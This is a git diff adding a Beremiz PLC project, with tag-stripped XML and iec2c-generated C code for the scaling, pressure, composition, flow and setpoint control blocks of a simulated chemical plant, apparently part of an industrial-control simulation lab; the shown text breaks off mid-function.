+ + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + 